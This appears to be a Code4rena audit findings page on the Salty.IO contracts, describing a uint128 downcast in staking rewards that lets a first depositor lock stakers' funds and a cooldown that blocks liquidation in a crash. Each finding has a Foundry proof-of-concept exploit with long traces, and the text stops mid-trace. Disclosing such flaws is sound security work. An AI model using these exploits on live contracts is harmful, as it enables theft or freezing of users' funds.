Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 16/178
Findings: 7
Award: $988.03
🌟 Selected for report: 0
🚀 Solo Findings: 0
326.1249 USDC - $326.12
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L81 https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L182-L206
The first depositor of shares in a pool (no matter if it is the staking contract or a normal liquidity pool) has a huge power to break the reward system.
If we see the StakingRewards::_increaseUserShare
we can see that user's virtual rewards and totalRewards are added the same amount. However, totalRewards is a uint256 whereas virtual rewards is a uint128. The amount that is added to each variable is downcasted to a uint128, that means that if it exceeds of the type(uint128).max it will be adding only the result of the modulo.
struct UserShareInfo { uint128 userShare; // A user's share for a given poolID uint128 virtualRewards; // The amount of rewards that were added to maintain proper rewards/share ratio - and will be deducted from a user's pending rewards. uint256 cooldownExpiration; // The timestamp when the user can modify their share } function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal { require( poolsConfig.isWhitelisted( poolID ), "Invalid pool" ); require( increaseShareAmount != 0, "Cannot increase zero share" ); UserShareInfo storage user = _userShareInfo[wallet][poolID]; if ( useCooldown ) if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown { require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" ); // Update the cooldown expiration for future transactions user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown(); } uint256 existingTotalShares = totalShares[poolID]; // Determine the amount of virtualRewards to add based on the current ratio of rewards/shares. // The ratio of virtualRewards/increaseShareAmount is the same as totalRewards/totalShares for the pool. // The virtual rewards will be deducted later when calculating the user's owed rewards. if ( existingTotalShares != 0 ) // prevent / 0 { // Round up in favor of the protocol. uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares ); >> user.virtualRewards += uint128(virtualRewardsToAdd); >> totalRewards[poolID] += uint128(virtualRewardsToAdd); } // Update the deposit balances user.userShare += uint128(increaseShareAmount); totalShares[poolID] = existingTotalShares + increaseShareAmount; emit UserShareIncreased(wallet, poolID, increaseShareAmount); }
If a user could rise the totalRewards to a number close to 2**128, when someone would stake an amount of SALT, the virtual rewards to add would be downcasted and reinitialized whereas for the totalShares will be added. An example:
Note: 18446744073709551615 has been calculated exactly to reach the type(uint128).max
existingTotalShares != 0
addSALTRewards
function. That rises the totalRewards to this numberuint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );
Notice that the result will be 18446744073709551615 ** 2 because existingTotalShares
will be 1
4. He adds 18446744073709551615 more SALT via addSALTRewards
function to rise the remaining amount for the totalRewards to get the uint128 max number.
At this point someone who stakes more than 18446744073709551616 SALT will lose it because he will not be able to neither unstake nor claim rewards.
That is because:
totalRewards[poolID] * increaseShareAmount type(uint128).max * newStakedAmount uint256 virtualRewardsToAdd = ----------------------------------------------- = ----------------------------------------- existingTotalShares 18446744073709551615
Since newStakedAmount
will be greater than the denominator, the result will be a number greater than type(uint128).max and when downcasted to uint128 will be applied the modulo (2**128).
user.virtualRewards += uint128(virtualRewardsToAdd); totalRewards[poolID] += uint128(virtualRewardsToAdd);
That will assign this new number to the user virtual rewards and the new totalRewards will exceed the type(uint128).max because previously was this max number.
At this point the claimable rewards for the user will be a huge number due to the discrepance between the totalRewards and the user virtual rewards. As a result, when a user will try to unstake, the function will try to transfer his claimable rewards but it will not have enough funds. The same will happen for claiming rewards.
Check the Proof of Concept staking 20 ether seeing all these explained variables.
The number that determines if a user will be able to unstake or not is changable by the user by adjusting the staked amount and the added SALT rewards.
Check this foundry test
Setup:
contract TestComprehensive1 is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); address public constant delta = address(0x4444); function setUp() public { vm.startPrank(DEPLOYER); salt = new Salt(); vm.stopPrank(); vm.startPrank(DEPLOYER); daoConfig = new DAOConfig(); poolsConfig = new PoolsConfig(); IStakingConfig stakingConfig2 = new StakingConfig(); usds = new USDS(); managedTeamWallet = new ManagedWallet(teamWallet, teamConfirmationWallet); exchangeConfig = new ExchangeConfig(salt, wbtc, weth, dai, usds, managedTeamWallet ); priceAggregator = new PriceAggregator(); liquidizer = new Liquidizer(exchangeConfig, poolsConfig); pools = new Pools(exchangeConfig, poolsConfig); staking = new Staking( exchangeConfig, poolsConfig, stakingConfig2 ); accessManager = new AccessManager(dao); exchangeConfig.setAccessManager(accessManager); vm.stopPrank(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); }
Proof of Concept:
function testStakingDoSWithBigAmounts() public { bytes32[] memory poolIDs = new bytes32[](1); poolIDs[0] = bytes32(0); address victim = alice; address attackerAccount = bob; uint256 amountToStake = 20 ether; vm.startPrank(DEPLOYER); salt.transfer(victim, 100 ether); salt.transfer(attackerAccount, 100 ether); vm.stopPrank(); vm.startPrank(attackerAccount); salt.approve(address(staking), 100 ether); staking.stakeSALT(1); addSaltRewards(18446744073709551615); vm.stopPrank(); vm.startPrank(attackerAccount); salt.approve(address(staking), 100 ether); staking.stakeSALT(18446744073709551615); addSaltRewards(18446744073709551615); vm.stopPrank(); uint256 totalRewards = staking.totalRewardsForPools(poolIDs)[0]; assertEq(totalRewards, type(uint128).max); // Following from here, the staking is screwed // This system can DoS the airdrops too // A user that stakes more than 18446744073709551615 SALT will not be able to unstake nor claim rewards if(amountToStake > 18446744073709551616){ vm.startPrank(victim); salt.approve(address(staking), amountToStake); staking.stakeSALT(amountToStake); console.log("Total rewards", staking.totalRewardsForPools(poolIDs)[0]); console.log("Total shares", staking.totalSharesForPools(poolIDs)[0]); console.log("Virtual rewards", staking.userVirtualRewardsForPool(victim, bytes32(0))); console.log("User rewards for staking", staking.userRewardForPool(victim, bytes32(0))); vm.expectRevert(); staking.unstake(amountToStake, 2); vm.expectRevert(); staking.claimAllRewards(poolIDs); vm.stopPrank(); } }
Output traces:
Running 1 test for src/scenario_tests/StakingPoCTests.t.sol:TestComprehensive1 [PASS] testStakingDoSWithBigAmounts() (gas: 462361) Logs: Total rewards 368934881474191032319999999999999999998 Total shares 38446744073709551616 Virtual rewards 28652514553252568856625392568231788543 User rewards for staking 163267446610103328404502964180336213933 Traces: [462361] TestComprehensive1::testStakingDoSWithBigAmounts() ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [29734] Salt::transfer(0x0000000000000000000000000000000000001111, 100000000000000000000 [1e20]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 100000000000000000000 [1e20]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000002222, value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [100415] Staking::stakeSALT(1) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 1) │ ├─ [27531] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 1) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 99999999999999999999 [9.999e19]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 1) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 1) │ └─ ← () ├─ [2604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 18446744073709551615 [1.844e19]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 18446744073709551615 [1.844e19]) │ └─ ← true ├─ [28568] Staking::addSALTRewards([(0x0000000000000000000000000000000000000000000000000000000000000000, 18446744073709551615 [1.844e19])]) │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit SaltRewardsAdded(poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountAdded: 18446744073709551615 [1.844e19]) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 18446744073709551615 [1.844e19]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 18446744073709551615 [1.844e19]) │ │ └─ ← true │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [22504] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [16710] Staking::stakeSALT(18446744073709551615 [1.844e19]) │ ├─ [1886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ ├─ [706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 18446744073709551615 [1.844e19]) │ ├─ [5631] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 18446744073709551615 [1.844e19]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 81553255926290448385 [8.155e19]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 18446744073709551615 [1.844e19]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 18446744073709551615 [1.844e19]) │ └─ ← () ├─ [2604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 18446744073709551615 [1.844e19]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 18446744073709551615 [1.844e19]) │ └─ ← true ├─ [11048] Staking::addSALTRewards([(0x0000000000000000000000000000000000000000000000000000000000000000, 18446744073709551615 [1.844e19])]) │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit SaltRewardsAdded(poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountAdded: 18446744073709551615 [1.844e19]) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 18446744073709551615 [1.844e19]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 18446744073709551615 [1.844e19]) │ │ └─ ← true │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [1316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [340282366920938463463374607431768211455 [3.402e38]] ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 20000000000000000000 [2e19]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 20000000000000000000 [2e19]) │ └─ ← true ├─ [34728] Staking::stakeSALT(20000000000000000000 [2e19]) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 20000000000000000000 [2e19]) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 20000000000000000000 [2e19]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 20000000000000000000 [2e19]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 20000000000000000000 [2e19]) │ └─ ← () ├─ [1316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [368934881474191032319999999999999999998 [3.689e38]] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000001158e460913cffffffffffffffffffffe000000000000000000000000000000000000000000000000000000000000000d546f74616c207265776172647300000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [38446744073709551616 [3.844e19]] ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000002158e460913d00000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [751] Staking::userVirtualRewardsForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ └─ ← 28652514553252568856625392568231788543 [2.865e37] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000158e460913cfffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000f5669727475616c20726577617264730000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [3812] Staking::userRewardForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ └─ ← 163267446610103328404502964180336213933 [1.632e38] ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000007ad42a9b9d920350f18e99c1557f7fad000000000000000000000000000000000000000000000000000000000000001855736572207265776172647320666f72207374616b696e670000000000000000) [staticcall] │ └─ ← () ├─ [0] VM::expectRevert() │ └─ ← () ├─ [138271] Staking::unstake(20000000000000000000 [2e19], 2) │ ├─ [2306] StakingConfig::minUnstakeWeeks() [staticcall] │ │ └─ ← 2 │ ├─ [2307] StakingConfig::maxUnstakeWeeks() [staticcall] │ │ └─ ← 52 │ ├─ [2351] StakingConfig::minUnstakePercent() [staticcall] │ │ └─ ← 20 │ ├─ [756] Salt::transfer(0x0000000000000000000000000000000000001111, 163267446610103328404502964180336213933 [1.632e38]) │ │ └─ ← "ERC20: transfer amount exceeds balance" │ └─ ← "ERC20: transfer amount exceeds balance" ├─ [0] VM::expectRevert() │ └─ ← () ├─ [7798] Staking::claimAllRewards([0x0000000000000000000000000000000000000000000000000000000000000000]) │ ├─ [756] Salt::transfer(0x0000000000000000000000000000000000001111, 163267446610103328404502964180336213933 [1.632e38]) │ │ └─ ← "ERC20: transfer amount exceeds balance" │ └─ ← "ERC20: transfer amount exceeds balance" ├─ [0] VM::stopPrank() │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 6.47s
To be able for somebody to execute this attack, he would have to receive his airdrop and unstake the SALT without anybody else receiving his airdrop. This is not likely to happen in the staking contract but the same attack can be replicated to liquidity and collateral pools, where being the first depositor is easy when a new pool is created.
However, if somebody would be able to execute this attack on the staking contract, if the amount to distribute to whitelisted addresses exceeds this 18446744073709551616 amount, nobody could claim his aidrop.
Manual review
This attack if possible basically due to the addSALTRewards
and being the first depositor. For a more secure protocol I would not allow somebody to be the first depositor because the totalShares is easily manipulable. Also I would add access control to addSALTRewards
function to just be callable by the entities of the protocol that provide rewards, that way salt would be distributed periodically.
DoS
#0 - c4-judge
2024-02-21T16:19:29Z
Picodes marked the issue as satisfactory
🌟 Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L154
When adding or removing liquidity/collateral there is a reward sniping protection to not frontrun SALT reward coming into the pool. This is achieved via a parameter when increasing and decreasing shares that adds a cooldown that does not let you add or remove more liquidity/collateral if a minimum of time have passed.
function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal { ... if ( useCooldown ) if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown { require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" ); // Update the cooldown expiration for future transactions user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown(); } ... } function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal { ... if ( useCooldown ) if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown { require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" ); // Update the cooldown expiration for future transactions user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown(); } ... }
When a user creates a position in the WETH/WBTC pool his shares increase initiating this cooldown period, that means that there is no way to remove/decrease these shares during that time. This feature makes the user NOT liquidable during this period of time because when decreasing user's shares, the cooldown period is enabled.
function liquidateUser( address wallet ) external nonReentrant { ... // Decrease the user's share of collateral as it has been liquidated and they no longer have it. _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); ... }
This feature can be profitable for a user during a huge market crash. If the user notices that the collateral tokens are going to lose a huge amount of value, he can open a position and during that cooldown period nobody will be able to liquidate his position. So if the collateral lose more than 50% within this cooldown period, the user will make profit because his collateral will have less value than the USDS borrowed and the protocol will have to face the loss.
Ranked as medium because it leads to profit for the user and loss for the protocol but it is unlikely to happen due to market conditions required to perform the action
Check this foundry test
Setup:
contract TestCollateral is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); bytes32 public collateralPoolID; constructor() { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); finalizeBootstrap(); vm.prank(address(daoVestingWallet)); salt.transfer(DEPLOYER, 1000000 ether); collateralPoolID = PoolUtils._poolID( wbtc, weth ); // Mint some USDS to the DEPLOYER vm.prank( address(collateralAndLiquidity) ); usds.mintTo( DEPLOYER, 2000000 ether ); }
Proof of Concept:
function testUserCanMakeProtocolLossesDueToNotBeingLiquidableDuringMarketCrash() public { uint256 aliceAmountBTCCollateral = 10 * 10**8; // 10 BTC uint256 aliceAmountETHCollateral = 200 ether; // 200 ETH // There are some initial reserves in the pool collateral pool for the USDS vm.startPrank(DEPLOYER); weth.transfer(alice, aliceAmountETHCollateral); wbtc.transfer(alice, aliceAmountBTCCollateral); weth.approve(address(2_000 ether), type(uint256).max); wbtc.approve(address(100 * 10**8), type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare( 100 * 10**8, 2_000 ether, 0, block.timestamp, false ); vm.stopPrank(); // Alice notice that the market is crashing and the price of ETH and BTC are going down deeply // She adds collateral and borrows the maximum she can. Doing this, she can NOT be liquidated // during 1 hour (see StakingConfig::modificationCooldown) vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), type(uint256).max); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare( aliceAmountBTCCollateral, aliceAmountETHCollateral, 0, block.timestamp, false ); collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(alice)); vm.stopPrank(); // 30 minutes passes and prices crash 56% vm.startPrank( DEPLOYER ); skip(30 minutes); forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 54 / 100); forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 54 / 100); vm.stopPrank(); // Alice should be computationally liquidable assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice)); // However, nobody can liquidate Alice's position before modificationCooldown passes vm.prank(bob); vm.expectRevert(); collateralAndLiquidity.liquidateUser(alice); // 30 more minutes passes, Alice becomes liquidizable and prices crash 80% of the initial price vm.startPrank( DEPLOYER ); skip(30 minutes); forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 20 / 100); forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 20 / 100); vm.stopPrank(); // Bob is still incentivized to liquidate Alice's position because he will obtain // the liquidation fee that is a proportion of the collateral provided by Alice // but the protocol will have to handle a huge loss because Alice will keep // the USDS borrowed that should not have suffered any price change uint256 valueOfAlicePositionAfterCrash = collateralAndLiquidity.userCollateralValueInUSD(alice); uint256 valueBorrowedByAlice = collateralAndLiquidity.usdsBorrowedByUsers(alice); vm.prank(bob); collateralAndLiquidity.liquidateUser(alice); console.log("Loss handled by the protocol", valueBorrowedByAlice - valueOfAlicePositionAfterCrash); }
Output traces:
Running 1 test for src/stable/tests/POCLiquidation.sol:TestCollateral [PASS] testUserCanMakeProtocolLossesDueToNotBeingLiquidableDuringMarketCrash() (gas: 893075) Logs: Loss handled by the protocol 262934000000000000000000 Traces: [897288] TestCollateral::testUserCanMakeProtocolLossesDueToNotBeingLiquidableDuringMarketCrash() ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [12634] TestERC20::transfer(0x0000000000000000000000000000000000001111, 200000000000000000000 [2e20]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 200000000000000000000 [2e20]) │ └─ ← true ├─ [12634] TestERC20::transfer(0x0000000000000000000000000000000000001111, 1000000000 [1e9]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 1000000000 [1e9]) │ └─ ← true ├─ [24603] TestERC20::approve(0x00000000000000000000006c6B935b8bbD400000, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: 0x00000000000000000000006c6B935b8bbD400000, value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [24603] TestERC20::approve(0x00000000000000000000000000000002540Be400, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: 0x00000000000000000000000000000002540Be400, value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [249638] CollateralAndLiquidity::depositCollateralAndIncreaseShare(10000000000 [1e10], 2000000000000000000000 [2e21], 0, 1706893393 [1.706e9], false) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [27320] TestERC20::transferFrom(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10]) │ │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10]) │ │ └─ ← true │ ├─ [27320] TestERC20::transferFrom(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 2000000000000000000000 [2e21]) │ │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 2000000000000000000000 [2e21]) │ │ └─ ← true │ ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10]) │ │ └─ ← true │ ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 2000000000000000000000 [2e21]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 2000000000000000000000 [2e21]) │ │ └─ ← true │ ├─ [73888] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 10000000000 [1e10], 2000000000000000000000 [2e21], 0, 0) │ │ ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10]) │ │ │ └─ ← true │ │ ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 2000000000000000000000 [2e21]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit 